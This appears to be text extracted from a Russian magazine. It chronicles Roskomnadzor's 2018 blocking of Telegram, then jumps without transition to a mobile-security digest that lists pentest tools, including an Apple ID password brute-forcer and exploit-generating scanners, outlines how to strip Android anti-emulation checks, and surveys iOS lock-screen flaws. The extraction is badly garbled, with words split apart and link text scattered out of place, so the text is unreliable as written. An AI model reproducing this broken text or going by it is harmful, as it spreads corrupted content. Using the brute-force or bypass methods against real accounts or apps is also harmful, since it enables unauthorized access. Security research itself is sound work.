Все пос ледние недели Рос комнад зор про дол жал активно «рас ширять» бло‐ 
киров ку. В ито ге, по дан ным на 26 апре ля, Рос комнад зор внес в реестр зап‐ 
рещен ных сай тов поч ти 18 мил лионов  IP‐адре сов, чис ло которых в какой‐то
момент  пре выси ло  количес тво  поль зовате лей  Telegram  в  Рос сии  —
по  информа ции  Пав ла  Дурова,  мес сен дже ром  в  Рос сии  поль зуют ся  око‐ 
ло 15 мил лионов человек.

Сто ит  ли  говорить,  что  такой  мас штаб ный  бан  «обла ков»  Amazon  и  Google
не  мог  не  ска зать ся  на  работе  раз личных  служб,  сер висов  и  сай тов,  ведь
услу гами  этих  ком паний  поль зуют ся  фир мы  и  час тные  лица  по  все му  миру,
которых не мог ли не кос нуть ся бло киров ки целых под сетей.

Так, пос ле 16 апре ля ком пании и поль зовате ли начали сооб щать о все воз‐ 
можных  неполад ках.  К  при меру,  о  проб лемах    онлайн‐шко ла  англий‐ 
ско го  язы ка  Skyeng;  так же  недос тупны ми  ока зались 
и  ;  у  Viber    с  голосо выми  вызова ми
и  отправ кой  фай лов.  Кро ме  того,  поль зовате ли  в  соци аль ных  сетях  писали
о сбо ях в работе кас совых аппа ратов в тор говых сетях «Дик си» (пред ста вите‐ 
ли ретей лера эту информа цию  ), « »,« » и «

».

пи сала
ин тернет‐магази ны

служ бы дос тавки по‐преж нему проб лемы

оп ровер гают Пя тероч ка Мо нет ка Бур‐ 
гер Кинг

Вско ре проб лем ста ло еще боль ше, хотя нуж но отме тить, что дос тупность
или  недос тупность  сер висов  и  сай тов  зависит  от  кон крет ных  про вай деров
и реги онов. Как бы то ни было, поль зовате ли жалу ются на перебои в работе
и  недос тупность  Twitch,  PlayStation  Network,  Steam,  Battle.net,  а  так же
популяр ных  онлай новых  игр  ,  , 

,   и  .
Fortnite Playerunknown’s  Battleground World‐

OfWarships Guild Wars 2 EVE Online

Кро ме  того,  в  СМИ  и  соци аль ных  сетях  то  и  дело  появ ляют ся  сооб щения
о  проб лемах  в  работе  ,  ,  Netflix,  Evernote,  Skype, 

, поис ковика   и мно жес‐ 
тва дру гих ресур сов, вклю чая сер висы   и управле ния умным
домом. Так же извес тно, что в Наци ональ ную ассо циацию дис танци онной тор‐ 
говли  (НАДТ)  с  подоб ными  проб лемами    как  минимум  девять
онлайн‐магази нов. Пос тупали сооб щения о сбо ях в работе сай тов «

» и  .

он лайн‐бан кингов Slack Mi‐
crosoft Office 365 и обновле ний Windows DuckDuckGo

ви деонаб людения

об ратились
Го ворит

Мос ква RussiaToday
Нуж но  ска зать,  что  сай ты    и    под верга ются

DDoS‐ата кам, из‐за чего они по‐преж нему могут быть недос тупны.
Рос комнад зора Рос телеко ма

В ответ на все боль шее количес тво жалоб на недос тупность тех или иных
ресур сов  пред ста вите ли  Рос комнад зора  соз дали  «горячую  линию»  по  бло‐ 
киров кам  —  завели  поч товые  ящи ки  hotlinerkn@rkn.gov.ru  и  hotlinerkn@yan‐
dex.ru.  На  эти  адре са  пред лага ется  сооб щать  о  фак тах  бло киров ки  «доб‐ 
росовес тных  ресур сов».  Сооб щения  пообе щали  про верять  и,  при  необ‐ 
ходимос ти,  давать  пуб личный  ответ.  Так же  пред ста вите ли  регуля тора 

  в  РОЦИТ  (Реги ональ ный  общес твен ный  центр
интернет‐тех нологий).

ре‐ 
комен дуют  обра щать ся

Кро ме  того,  пред ста вите ли  ведомс тва  выпус тили  целый  ряд
пресс‐релизов, в которых заяв ляют: «В свя зи с рас простра нени ем информа‐ 
ции  о  том,  что  в  свя зи  с мерами  по  огра ниче нию дос тупа  к  Telegram  яко бы
мас сово стра дают сто рон ние ресур сы, а так же по сооб щени ям, пос тупив шим
на „горячую линию“, про веде на про вер ка». Утвер жда ется, что СМИ нуж но луч‐ 
ше  про верять  информа цию,  а  ведомс тво  не  огра ничи вает  дос туп  к  сле‐ 
дующим ресур сам.

Так же в Рос комнад зоре  , что регуля тор «сна чала „раз бира ет“ под‐ 
сеть,  смот рит,  не находит ся  ли  там  круп ных,  соци аль но  зна чимых ресур сов,
и толь ко пос ле это го отправ ляет ее на выг рузку».

объ ясня ют

В  свою  оче редь,  пред ста вите ли  меж дународ ной  пра воза щит ной  груп пы
«Аго ра»  орга низо вали  горячую  линию  для  сер висов,  стол кнув шихся  с  тех‐ 
ничес кими проб лемами из‐за бло киро вок мил лионов IP‐адре сов.

«„ “ запус кает пра вовой сап порт для помощи вла дель цам сай тов,
сер веров, дата‑цен тров, онлайн‑сер висов, стол кнув шихся с тех ничес- 
кими траб лами вследс твие активнос ти Рос комнад зора. Писать нуж но
нашему интернет‑гуру Дамиру Гай нут динову в Telegram/Twitter @snor-
ri51, в  , на поч ту damir51@gmail.com. Если вы получи ли уве- 
дом ление Рос комнад зора, вам  гро зят бло киров кой или уже бло киру- 
ют,  пишите,  пос тара емся  помочь»,  —  объ явил  гла ва  «Аго ры»  Павел
Чиков.

Аго ра

Facebook

Из вес тно, что пред ложени ем юрис тов   поряд ка 60 ком‐ 
паний. В основном это вла дель цы малень ких биз несов — интернет‐магази‐ 
нов, служб дос тавки, прок си‐сер веров.

уже вос поль зовались

ЧТО ДАЛЬШЕ?
Не дав но  в  раз говоре  с  изда нием    гла ва  Рос комнад зора  Алек сандр
Жаров  сооб щил,  что  «дег радация  Telegram сей час  сос тавля ет  30%»,  что бы
это  ни  зна чило. Напом ню,  что  для боль шинс тва  поль зовате лей мес сен джер
по‐преж нему дос тупен без исполь зования VPN и прок си‐сер веров.

The  Bell

Кро ме  того,  Жаров  утвер жда ет,  что  пре тен зий  от  онлай новых  сер висов,
пос тра дав ших в резуль тате «ков ровой бло киров ки»  IP‐адре сов, мало, а зна‐ 
чимых  пла теж ных ресур сов  сре ди  них  нет  вов се. По его  сло вам,  все  сай ты,
попав шие под бло киров ку слу чай но и сооб щившие об этом на горячую линию
РКН, сра зу же раз бло киру ются.

Вмес те  с  этим  ,  что  Amazon  и  Google  были  про информи‐ 
рова ны о зна читель ном количес тве их IP‐адре сов, выг ружен ных на бло киров‐ 
ку.  Жаров  уве ряет,  что  «никаких  соци аль но  зна чимых  ресур сов  на  этих  IP‐
адре сах  не  содер жится»,  а  с  пред ста вите лями  Google  и  Amazon  «ведет ся
диалог».

под твер дилось

«Telegram дол жен быть убран из App Store и Google Play, это пер вое.
Вто рое — аме рикан ские ком пании дол жны соз дать тех ничес кие усло- 
вия,  которые  сде лают  сер вис  недос тупным  на  тер ритории  Рос сии.
Во‑пер вых, как я уже ска зал, ведет ся диалог. Во‑вто рых, и для Ama-
zon,  и  для Google  это,  безус ловно,  серь езный  вызов:  если  рас смат- 
ривать  набор  IP-адре сов,  то,  нап ример,  6  мил лионов  IP  Amazon  —
это  прак тичес ки  полови на  из  всех,  которые  у  них  в  прин ципе  есть.
Все го их поряд ка 13 мил лионов. То есть по боль шому сче ту они сей- 
час реша ют воп рос, будут ли работать на тер ритории РФ или нет», —
рас ска зал Алек сандр Жаров жур налис там « ».Из вестий

Меж ду  тем  на  офи циаль ном  сай те  Рос комнад зора  появи лась  инте рес ная
новость.  ,  что  25  апре ля  2018  года  Рос комнад зор  сов мес тно
с РОЦИТ про вел встре чу с пред ста вите лями IT‐индус трии по воп росам, свя‐ 
зан ным  с  исполне нием  судеб ного  решения  об  огра ниче нии  дос тупа  к  мес‐ 
сен дже ру Telegram. Регуля тор по‐преж нему пыта ется наладить рабочие кон‐ 
такты с Amazon и Google, что бы ком пании прек ратили пре дос тавлять Telegram
IP‐адре са «с целью работы мес сен дже ра в Рос сии».

Со обща ется

В  ходе  встре чи  замес титель  руково дите ля  Рос комнад зора  Вадим  Суб‐ 
ботин  отме тил,  что  кон такты  с  Amazon  пока  не  при вели  к  положи тель ным
резуль татам, веро ятно, по неким полити чес ким при чинам. А вот с ком пани ей
Google, по его сло вам, вза имо дей ствие ста ло более конс трук тивным и начат
пред метный диалог.

На  совеща нии  было  под чер кну то,  что  сог ласно  решению  суда  обя зан‐ 
ность  прек ратить  соз давать  тех ничес кие  усло вия  для  фун кци они рова ния
Telegram  в  Рос сии  воз ложена  не  толь ко  на  Рос комнад зор,  но  и  на  «иные
лица», в том чис ле хос тинг‐про вай деров.

Вмес те с  тем в Рос комнад зоре  ,  что им извес тно о  том,  что
мес сен джер  исполь зует  push‐уве дом ления  (под робнее  об  этом  мож но
почитать, к при меру,  ), что бы сооб щать мобиль ным вер сиям сво их при‐ 
ложе ний информа цию о новых нас трой ках и сер верах. Эти уве дом ления рас‐ 
простра няют ся с сер веров Google и Apple, и «изба вить ся» от них не так прос‐ 
то.

под твер дили

здесь

«Мы в кур се этой тех нологии, IP-адре са ее иден тифици рова ны. В нас- 
тоящее вре мя мы раз рабаты ваем тех ничес кое решение в отно шении
этой тех нологии обхо да бло киро вок», — про ком менти ровал Жаров.

Нуж но  отме тить,  что  сей час  пер вым  воп росом  на  повес тке  дня  для  Рос‐ 
комнад зора,  оче вид но,  сто ит  уда ление  Telegram  из  катало гов  при ложе ний
App  Store  и  Google  Play.  Более  того,  пред ста вите ли  регуля тора  тре буют
убрать  уста новоч ные  фай лы  мес сен дже ра  и  с  дру гих,  неофи циаль ных  пло‐ 
щадок.  Так,  уве дом ление от Рос комнад зора    сер вис  APK Mirror.
Хуже того, на 4PDA уже зак рылись соот ветс тву ющие вет ки форума, где мож но
было най ти ссыл ки на ска чива ние офи циаль ных  кли ентов для  iOS и Android,
а все обсужде ния бло киров ки Telegram были уда лены. Теперь эту информа‐ 
цию мож но най ти толь ко  .

уже получил

в кеше Google
При этом  , что у ведомс тва нет пре тен зий к прос тым поль‐ 

зовате лям:
Жа ров заверил

«Ни  у  РКН,  ни  у  ФСБ,  ни  у  государс тва  нет  воп росов  и  пре тен зий
к тем людям, которые в Telegram занима ются обыч ной жизнью — соз- 
дают ботов, ведут каналы. Воп рос не к поль зовате лям, воп рос к адми- 
нис тра ции мес сен дже ра. Гос подин Дуров, как ода рен ный мар кетолог
и  пиар щик,  „перево дит  стрел ки“  на  ауди торию  и  соз дает  кон фликт
меж ду  орга нами  влас ти  и  ауди тори ей.  А  его  как  раз  и  нет. Попыт ки
некото рых Telegram-каналов приз вать к мас совому ска чива нию VPN —
это попыт ка выс тавить себя эли той. „Мы на балу, а вы, кто не ска чал,
наб людай те в окош ко“. Одна ко мне кажет ся, для людей дол жно быть
важ но,  с  кем  они  находят ся  рядом —  с  тер рорис тами  или  нор маль- 
ными людь ми».

В ночь с 21 на 22 апре ля рос сий ские поль зовате ли обра тили вни мание, что
Google работа ет с перебо ями или не работа ет вов се («задело» как сам поис‐ 
ковик, так и дру гие сер висы ком пании, к при меру поч ту, перевод чик, ана лити‐ 
ку).  Днем  22  апре ля  Рос комнад зор  ,  что  огра ничи‐ 
вает  дос туп  к  IP‐адре сам Google,  так  как  ком пания  «не  удов летво рила  тре‐ 
бова ния Рос комнад зора и в наруше ние вер дикта суда про дол жает поз волять
ком пании  Telegram Messenger  Limited  Liability  Partnership  исполь зовать  свои
IP‐адре са для осу щест вле ния деятель нос ти на тер ритории Рос сии».

офи циаль но  под твер дил

Од нако  пос ле  мно гочис ленных  сооб щений  о  проб лемах,  пос тупа ющих
от  поль зовате лей,  пред ста вите ли  Рос комнад зора  опро вер гли  информа цию
о недос тупнос ти сер висов Google. Ведомс тво  утвер жда ет,  что не огра ничи‐ 
вает  дос туп  к  Gmail,  YouTube,  веб‐вер сиям  Google  Play,  Google  Drive  и  re‐
CAPTCHA ( ,  ,  ).1 2 3

Тем  вре менем,  по  дан ным  опе рато ров  неофи циаль ной  копии  выг рузки
реес тра, в «чер ных спис ках» находят ся уже более 100 адре сов Google.
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РОСКОМНАДЗОР VS

TELEGRAM
ХРОНИКИ ОДНОГО ПРОТИВОСТОЯНИЯ

HEADER  НАЧАЛО СТАТЬИ←

А ЧТО ДУРОВ?
Па вел Дуров опре делен но не собира ется усту пать дав лению влас тей. На сво‐ 
ей  стра нице  «ВКон такте»  гла ва  Telegram  неод нократ но  бла года рил  поль‐ 
зовате лей  за  под дер жку,  а  так же  писал,  что  уже  начал  вып лачивать  Bitcoin‐
гран ты адми нис тра торам VPN и прок си‐сер веров, «в рам ках Циф рового Соп‐ 
ротив ления  —  децен тра лизо ван ного  дви жения  в  защиту  циф ровых  сво бод
и прог ресса». Кро ме того, Дуров заявил о сво ем намере нии и далее тра тить
на под держа ние дос тупнос ти Telegram мил лионы дол ларов.

В  сво ем  Telegram‐канале  Дуров  бла года рил  не  толь ко  поль зовате лей,  но  и
ком пании Apple, Google, Amazon и Microsoft за то, что те не ста ли «при нимать
учас тие  в  полити чес кой  цен зуре».  Более  того,  здесь Дуров  пишет,  что  пока
рос сий ских  поль зовате лей пока Telegram не ста ло мень ше  (по 

, их ста ло толь ко боль ше, а количес тво под писчи ков у боль шинс тва рус‐ 
ско языч ных каналов  ).

ин форма ции
СМИ

рас тет
Под водя  ито ги  пер вой  недели  бло киро вок,  Дуров  :  «Мы  про дер‐ 

жались 7 дней под самым мас штаб ным актом интернет‐цен зуры за исто рию
Рос сии».  Более  того,  он  приз вал  «всех,  кто  под держи вает  сво бод ный
интернет»  запус тить  из  окна  бумаж ный  самоле тик,  а  поз же  пред ложил  сде‐ 
лать эту акцию еже недель ной и наз вал новую дату запус ка бумаж ных самоле‐ 
тиков: 29 апре ля, вновь в 19:00 по мес тно му вре мени.

пи сал

Про исхо дящее  выз вало  инте рес ную  реак цию  со  сто роны  авто ров  филь ма
«Май ор  Гром:  Чум ной  док тор»,  сня того  по  мотивам  комик сов  изда тель ства
Bubble.  Дело  в  том,  что  еще  прош лой  осенью  вышел  тизер  кар тины,
в котором запуск бумаж ных самоле тиков из окон в знак про тес та фак тичес ки
был цен траль ным эле мен том.

В  офи циаль ной  груп пе  Bubble  «ВКон такте»  пос ле  сооб щения  Дурова
появи лась  , а пос ле акции с запус ком самоле тиков пред ста вите ли
Bubble офи циаль но объ яви ли дату выхода филь ма, при уро чив анонс к «сегод‐ 
няшне му событию».

эта запись

Ин терес но, что тем же вечером на Life.ru  (осно ватель ресур са — Арам Габ‐ 
релянов,  отец  Арте ма  Габ реляно ва,  гла вы  изда тель ства  Bubble) 

, в котором Пав ла Дурова откры то обви няют в пла гиате и том, что он
«ког да‐то ско пиро вал Facebook, затем ско пиро вал Whatsapp, теперь копиру‐ 
ет чужие комик сы и кос пле ит зло дея из серии Bubble „Чум ной док тор“».

по явил ся
матери ал

Иро ния  ситу ации  зак люча ется  в  том,  что  еще  на  Comic  Con  Russia,  где
впер вые был показан тизер филь ма «Май ор Гром: Чум ной док тор», во вре мя
пресс‐кон ферен ции с пред ста вите лями Bubble не мог не проз вучать воп рос
о парал лелях меж ду Чум ным док тором и Алек сеем Наваль ным. Тог да авто ры
со  сме хом  отве тили  жур налис там,  что  комик сы  про  май ора  Гро ма  выш ли
задол го до  того,  как Наваль ный начал раз вивать  активность  в  интерне те,  и,
воз можно,  это  он  вдох новлял ся  «Май ором  Гро мом»,  а  не  наобо рот.  Кро ме
того,  они  отме тили,  что  пять  лет  назад  пер сонаж  Чум ного  док тора  и  вов се
был аллю зией на Пав ла Дурова. Дело в том, что в комик сах, в отли чие от гря‐ 
дущей кар тины, Чум ной док тор дей стви тель но явля ется соз дателем соци аль‐ 
ной сети «Вмес те», так что парал лели не заметить труд но.

Но вер немся от  комик сов  к реаль нос ти и пос ледне му на дан ный момент
, опуб ликован ному Пав лом Дуровым. В этом пос те гла ва Telegram

про дол жает отста ивать свою точ ку зре ния и пишет:
со обще нию

«Эту  неделю  мы  боролись  не  с  Рос комнад зором  или  ФСБ.  Мы
боролись  за циф ровое будущее Рос сии. Сво бод ный интернет и око- 
неч ное шиф рование — неотъ емле мые час ти это го будуще го. Ни одна
раз витая  стра на  не  бло киру ет  мес сен дже ры  за  отказ  выдать  спец- 
служ бам клю чи шиф рования. Отме на пра ва на кон фиден циаль ность —
лекарс тво, которое опас нее самой болез ни.

Как  толь ко  некая  служ ба  получа ет  воз можность  бес кон троль но
монито рить лич ную перепис ку граж дан, очень ско ро этот дос туп ока- 
зыва ется в руках у треть их сто рон — взят кодате лей, хакеров, аген тов
дру гих  государств.  В  резуль тате  тре бова ние  пре дос тавить  уни вер- 
саль ные  пути  обхо да  шиф рования  через  выдачу  „клю чей“  сни жает
информа цион ную безопас ность как элит, так и общес тва в целом».

В  кон це  сооб щения  Дуров  так же  про сит  всех,  у  кого  есть  «инсай ды  о  при‐ 
чинах,  пла нах  и  методах  бло киров ки»  мес сен дже ра,  обра щать ся  по  адре су
arequest2@gmail.com.

ЮРИДИЧЕСКИЙ АСПЕКТ
Нуж но  ска зать,  что  еще  17  апре ля  2018  года  юрис ты  «Аго ры»  обжа лова ли
немед ленное  исполне ние  решения  о  бло киров ке  Telegram  в  Мос горсу де.
При веден ный  ниже  документ,  подан ный  в  суд,    на  сво ем  канале
гла ва «Аго ры» Павел Чиков.

раз местил

Дей ствия Рос комнад зора осу дили не толь ко пред ста вите ли мно гочис ленных
пра воза щит ных  орга низа ций  (к  при меру,  « »  и  ),
но  даже  ООН.  Так,  офи циаль ный  пред ста витель  Управле ния  вер ховно го
комис сара ООН по пра вам челове ка Руперт Кол вилл  , что при судеб‐ 
ном раз биратель стве по делу Telegram не были соб людены меж дународ ные
стан дарты в области прав челове ка:

Ре пор теры без  гра ниц ОБ СЕ

за явил

«В слу чае с шестью лицами, о которых идет речь, похоже, отсутс тво- 
вали необ ходимые юри дичес кие гаран тии, в час тнос ти рас поряже ние
суда,  на  осно вании  которо го  мог  быть  совер шен  зап рос  о  пре дос- 
тавле нии  клю чей шиф рования. Меж дународ ные  стан дарты  в  области
прав  челове ка  тре буют  наличие  юри дичес ких  гаран тий  и  над зора.
Бло киро вание сер виса сооб щений Telegram для всех в Рос сии из‑за
раз биратель ства в отно шении шес ти отдель ных лиц совер шенно явно
явля ется  исклю читель но  неп ропор циональ ным  отве том  (влас тей
РФ)», — говорит Кол вилл.

Кро ме  того,  гла ва  меж дународ ной  пра воза щит ной  орга низа ции  «Аго ра»
Павел  Чиков  сооб щил,  что  в  адрес  Google,  Amazon, Microsoft  и  Apple  было
нап равле но  пись мо  от  лица  13  пра воза щит ных  орга низа ций  из  Рос сии,
Великоб ритании,  Изра иля,  США,  Ирландии,  Канады,  Егип та,  Индии,  Колум‐ 
бии,  Аргенти ны, Вен грии,  Кении, ЮАР. Все  они  осу дили  «ата ку  на  интернет
в Рос сии» и про сят не содей ство вать в этом рос сий ским влас тям.

Telegram неожи дан но   даже Эдвард Сно уден, который ранее кри‐ 
тико вал  мес сен джер  с  тех нологи чес кой  точ ки  зре ния.  Теперь  Сно уден
выразил под дер жку позиции Пав ла Дурова и заявил, что имен но так про явля‐ 
ется  нас тоящее  лидерс тво.  Бло киров ку  мил лионов  IP‐адре сов  он  называл
«тех ничес ки невежес твен ной попыт кой цен зуры».

под держал

Свое  воз мущение  «мас совыми  перебо ями  в  работе  мно жес тва  науч ных
и  обра зова тель ных  интернет‐ресур сов,  поис ковых  сис тем  и  сер веров  элек‐ 
трон ной поч ты, воз ника ющи ми из‐за попыток Рос комнад зора заб локиро вать
мес сен джер  Telegram»    и Совет Меж реги ональ ного общес тва  науч‐ 
ных работ ников (ОНР).

вы разил

Уче ные пишут:

«Из‑за  неп рофес сиональ ных  дей ствий  Рос комнад зора  рос сий ские
уче ные  были  лишены  дос тупа  к  спе циали зиро ван ной  сети  науч ных
кон тактов  ResearchGate,  к  архи вам  науч ных  жур налов  круп ней шего
изда тель ства Wiley, к цен траль ному репози торию биб лиотек Java, сай- 
ту  жур нала  Science,  поис ковой  сис теме  Google  и  к  ряду  дру гих
сетевых  сер висов,  пос тоян но  исполь зуемых  в  иссле дова тель ской
работе. Перебои в дос тупе к информа цион ной сис теме КИАС при вели
к сры ву подачи заявок на кон курсы гран тов, про води мые Рос сий ским
фон дом  фун дамен таль ных  иссле дова ний.  Из‑за  наруше ния  дос тупа
к учеб ным сай там был час тично парали зован учеб ный про цесс в Скол- 
Техе, МГУ, ВШЭ и ряде дру гих вузов. Пос тра дал так же сайт Воль ного
сетево го  сооб щес тва  „Дис сернет“,  разоб лачив шего  мас штаб ные
некор рек тные заимс тво вания  чужих матери алов в дис серта циях мно- 
гих недоб росовес тных авто ров,  в  том чис ле  гла вы Рос комнад зора А.
А. Жарова.

Со вет  ОНР  счи тает  совер шенно  недопус тимой  прак тику  ков ровых
бло киро вок любой ценой, без уче та впол не пред ска зуемых негатив ных
пос ледс твий. Науч ные и обра зова тель ные сер висы, дос туп к которым
был нарушен Рос комнад зором, соб людали законо датель ство РФ и не
были  зап рещены  судом.  Тот  вред,  который  нанес ли  дей ствия  это го
ведомс тва рос сий ской науке и обра зова нию, а зна чит и все му общес- 
тву,  никак  не  может  быть  оправдан  необ ходимостью  исполне ния
судеб ного решения в отно шении одной час тной ком пании. Совет ОНР
так же напоми нает, что в соот ветс твии со стать ей 29 Кон сти туции РФ
каж дый име ет пра во сво бод но искать, получать, переда вать, про изво- 
дить  и  рас простра нять  информа цию  любым  закон ным  спо собом,
гаран тиру ется  сво бода  мас совой  информа ции,  а  цен зура  зап реща- 
ется. Поиск, ана лиз и обмен науч ной информа цией явля ются важ ней- 
шими сос тавля ющи ми науч ной работы.

Со вет  ОНР  тре бует  незамед литель но  пре сечь  вре донос ную
деятель ность Рос комнад зора и обес печить дей ствен ную защиту науч- 
ных, обра зова тель ных и дру гих соци аль но зна чимых интернет‑ресур- 
сов  от  опас ностей,  исхо дящих  от  это го  ведомс тва.  Сот рудни ки
и  руково дите ли  Рос комнад зора,  по  вине  которых  воз никли  перебои
в  работе  этих  ресур сов  на  тер ритории  Рос сии,  дол жны  понес ти
ответс твен ность за свои дей ствия».

Кро ме  того,  генераль ный  дирек тор  раз работ чика  соф та  Flexbby  (резидент
«Скол ково»)  Андрей  Про кофь ев    интернет‐омбуд сме ну  Дмит рию
Марини чеву  сфор мировать  опе ратив ный  штаб  из  пред ста вите лей  влас ти
и  биз неса  для  решения  проб лем  ком паний,  пос тра дав ших  от  бло киро вок.
По мне нию гос подина Про кофь ева, нуж ны законо датель ные поп равки, что бы
исклю чить  ситу ации,  при  которых  «жиз ненно  важ ные  сер висы  рос сий ско го
биз неса будут бло киро вать ся в односто рон нем поряд ке».

пред ложил

По  оцен ке  спе циалис тов  Flexbby,  от  «веер ных  бло киро вок»  уже  пос тра‐ 
дали  око ло  400  рос сий ских  орга низа ций,  исполь зующих  Google  и  Amazon.
Наб люда ются сбои в работе  хра нилищ дан ных, биз нес‐при ложе ний,  сис тем
искусс твен ного  интеллек та,  геоло каций,  пла тежей,  вза имо дей ствия  с  бан‐ 
ками, обслу жива ния кли ентов и так далее. Ком пания оце нива ет потен циаль‐ 
ные  финан совые  потери  рос сий ско го  биз неса  поч ти  в  мил лиард  дол ларов
в слу чае про дол жения бло киро вок в бли жай шие месяцы.

Юрис ты Рос ком сво боды тем вре менем при зыва ют всех рос сий ских поль‐ 
зовате лей интерне та, пос тра дав ших от «неп равомер ных дей ствий над зорно‐ 
го  ведомс тва»,  написать  жалобу  в  МВД  Рос сии.  Юрис ты  орга низа ции 

 под робную инс трук цию и шаб лоны необ ходимых докумен тов.
уже

под готови ли

«С  точ ки  зре ния  меж дународ ного  пра ва,  это  гру бое  наруше ние
основных прин ципов, сфор мулиро ван ных ООН, при огра ниче нии дос- 
тупа  к  зап рещен ной  информа ции.  Дей ствия  Рос комнад зора  по  вне- 
сению целых под сетей для того, что бы заб локиро вать Telegram, оче- 
вид но  неп ропор циональ ны  и  наносят  сущес твен ный  эко номи чес кий
ущерб  рос сий ско му  интернет‑биз несу  и  наруша ют  пра ва  мил лионов
граж дан на сво боду информа ции.

Ру ководс тво  тех ничес кого  ведомс тва  не  мог ло  не  знать,  к  чему
это все при ведет. В дей стви ях выс ших дол жностных лиц Рос комнад- 
зора  могут  содер жать ся  приз наки  прес тупле ния  или  адми нис тра тив- 
ного пра вона руше ния. Пока пред при нима тели готовят иски, мы будем
тре бовать от МВД и орга нов про кура туры тща тель ной про вер ки при- 
нятых решений и наказа ния винов ных. Все пос тра дав шие поль зовате- 
ли  и  пред при нима тели  име ют  пра во  защищать  свои  пра ва  и  обра- 
щать ся  с  подоб ными  заяв лени ями.  Это  их  кон сти туци онное  пра во
на  защиту  от  про тивоп равных  дей ствий  тех  дол жностных  лиц,
которые,  судя  по  все му,  жела ют  пол ностью  раз рушить  рос сий ский
интернет»,  —  говорит  ведущий  юрист  Рос ком сво боды  Сар кис  Дар- 
бинян.

https://thebell.io/blokirovka-s-nulevym-effektom-telegram-sohranil-vsyu-svoyu-auditoriyu/
https://www.fontanka.ru/2018/04/17/100/
https://vk.com/wall1_2348522
https://vk.com/wall-34202590_187923
https://life.ru/t/%D0%BC%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F/1110273/chumnoi_durov_istoriia_viechnogho_kopirovaniia
https://vk.com/wall1_2358781
https://t.me/pchikov/1031
https://rsf.org/en/news/blocking-telegram-russia-crosses-another-red-line-online-censorship
https://www.osce.org/representative-on-freedom-of-media/377767
https://ria.ru/world/20180417/1518857549.html
https://twitter.com/Snowden/status/986273158603952128
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Се год ня  в  выпус ке:  десять  инс тру мен тов
пен тесте ра, уяз вимос ти экра на бло киров ки
iOS,  взлом  защиты  от  запус ка  при ложе ния
в  эму лято ре,  спо собы  легаль но  повысить
при виле гии  в  Android,  методы  усложне ния
жиз ни  взлом щика  тво его  при ложе ния,
15  инс тру мен тов,  которые  навер няка
понадо бят ся тебе как раз работ чику, полез‐ 
ные кла виатур ные ком бинации Android Stu‐
dio,  31  совет  по  язы ку  Kotlin  и  оче ред ная
пач ка полез ных Android‐биб лиотек.

ИНСТРУМЕНТЫ

 — при ложе ние для про вер ки про шив ки телефо на на уста нов‐ 
ленные и про пущен ные пат чи безопас ности;

• SnoopSnitch

  —  прос той  скрипт  Frida,  помога ющий  обна ружить  мал варь  путем
ана лиза  хра нящих ся  в  сте ке  объ ектов  и  перех вата  фун кций  запус ка
шелл‐команд;

• uitkyk

 —  еще  один DBI‐фрей мворк  для  Android,  подоб ный Cydia  Sub‐
strate и Xposed;

• AndHook

 — образ Docker с набором ути лит для ана лиза Android‐при ложе‐ 
ний: Apktool, jadx, APKiD, Radare2, Frida и дру гие;

• androidre

 — брут форсер паролей Apple ID;• iCloudBrutter
 — инс тру мент для авто мати зиро ван ного поис ка  уяз вимос тей мно‐ 

гих  типов  в  Android‐при ложе ниях;  в  некото рых  слу чаях  QARK  может
генери ровать  готовый экс пло ит или набор команд ADB для экс плу ата ции
уяз вимос ти;

• QARK

 — ути лита, генери рующая май нд мап с информа цией о при ложе‐ 
нии и его воз можных уяз вимос тях;

• droidstatx

 — скрипт для рутин га эму лято ра Android;• avd‐root
 — ути лита для внед рения биб лиотек в любые iOS‐при ложе ния; тре‐ 

бует iOS 11.0–11.1.2 с джей лбрей ком;
• bfinject

 — ути лита для дешиф ровки  iOS‐при ложе ний;  тре бует  iOS 11.0–
11.1.2 с джей лбрей ком.

• bfdecrypt

Кар та, сге нери рован ная droidstatx

ПОЧИТАТЬ

От клю чение защиты от запус ка в эму лято ре
,   — серия из двух ста тей, пос‐ 

вящен ных взло му защиты от запус ка в эму лято ре. Пер вая часть ввод ная, рас‐ 
ска зыва ет об устрой стве при ложе ния для Android и о том, как работа ет сис‐ 
тема  защиты  от  запус ка  в  эму лято ре.  Вто рая  часть  прак тичес кая  и  рас ска‐ 
зыва ет, как деком пилиро вать при ложе ние и отклю чить защиту.

Bypassing Android Anti‐Emulation, Part (I) Part (II)

Ин терес ные момен ты:
Прак тичес ки  все  механиз мы  защиты  от  запус ка  в  эму лято ре  осно ваны
на  чте нии  сис темных  перемен ных  и  поис ке  в  них  опре делен ных  строк.
Нап ример,  , 

, 
.

•

Build.FINGERPRINT.startsWith("generic") Build.

MODEL.contains("google_sdk") Build.BRAND.startsWith(

"generic")

Про цесс  отклю чения  защиты  от  запус ка  в  эму лято ре  в  целом  поч ти
не  отли чает ся  от  про цес са  взло ма  легитим ного  при ложе ния.  Деком‐ 
пилиру ем при ложе ние с помощью  jadx или любого дру гого деком пилято‐ 
ра, находим код про вер ки на эму лятор (он час то рас полага ется в фун кци ях
с име нами типа  , 
 или  ), затем дизас сем бли руем при ложе ние

с помощью apktool, находим тот же вызов фун кции в коде smali и выреза ем
его.  В  слу чае  при мене ния  ProGuard  или  дру гого  обфуска тора  это  будет
сде лать слож нее (чита емые име на прев ратят ся в неч то вро де "ab"), но все
же дос таточ но лег ко.

•

carrierNameFromTelephonyManager() isEmulator(

) smellsLikeAnEmulator()

При мер кода защиты от запус ка в эму лято ре

Дру гой при мер кода

И еще один при мер

Уяз вимос ти экра на бло киров ки iOS и спо собы их митига ции
  —  спи сок

всех  уяз вимос тей  экра на  бло киров ки  iOS,  най ден ных  с  вер сии  iOS
5  по  текущую.  Спи сок  вклю чает  в  себя  ссыл ки  на  опи сание  уяз вимос тей,
а так же виде оде монс тра ции их экс плу ата ции.

http://blog.dinosec.com/2014/09/bypassing‐ios‐lock‐screens.html

Сум марные дан ные:
iOS 5.x — 4 уяз вимос ти;•
iOS 6.x — 8 уяз вимос тей;•
iOS 7.x — 12 уяз вимос тей;•
iOS 8.x — 11 уяз вимос тей;•
iOS 9.x — 6 уяз вимос тей;•
iOS 10.x — 10 уяз вимос тей;•
iOS 11.x — 5 уяз вимос тей.•

Со веты, как обе зопа сить себя от взло ма через экран бло киров ки:
от клю чи  Siri  на  экра не  бло киров ки:  Settings →  Passcode →  Siri  (or  Voice
Dial) → Allow access when locked;

•

от клю чи Passbook на экра не бло киров ки: Settings → Passcode → Passbook
→ Allow access when locked;

•

от клю чи Control Center на экра не бло киров ки: Settings → Control Center →
Access on Lock Screen;

•
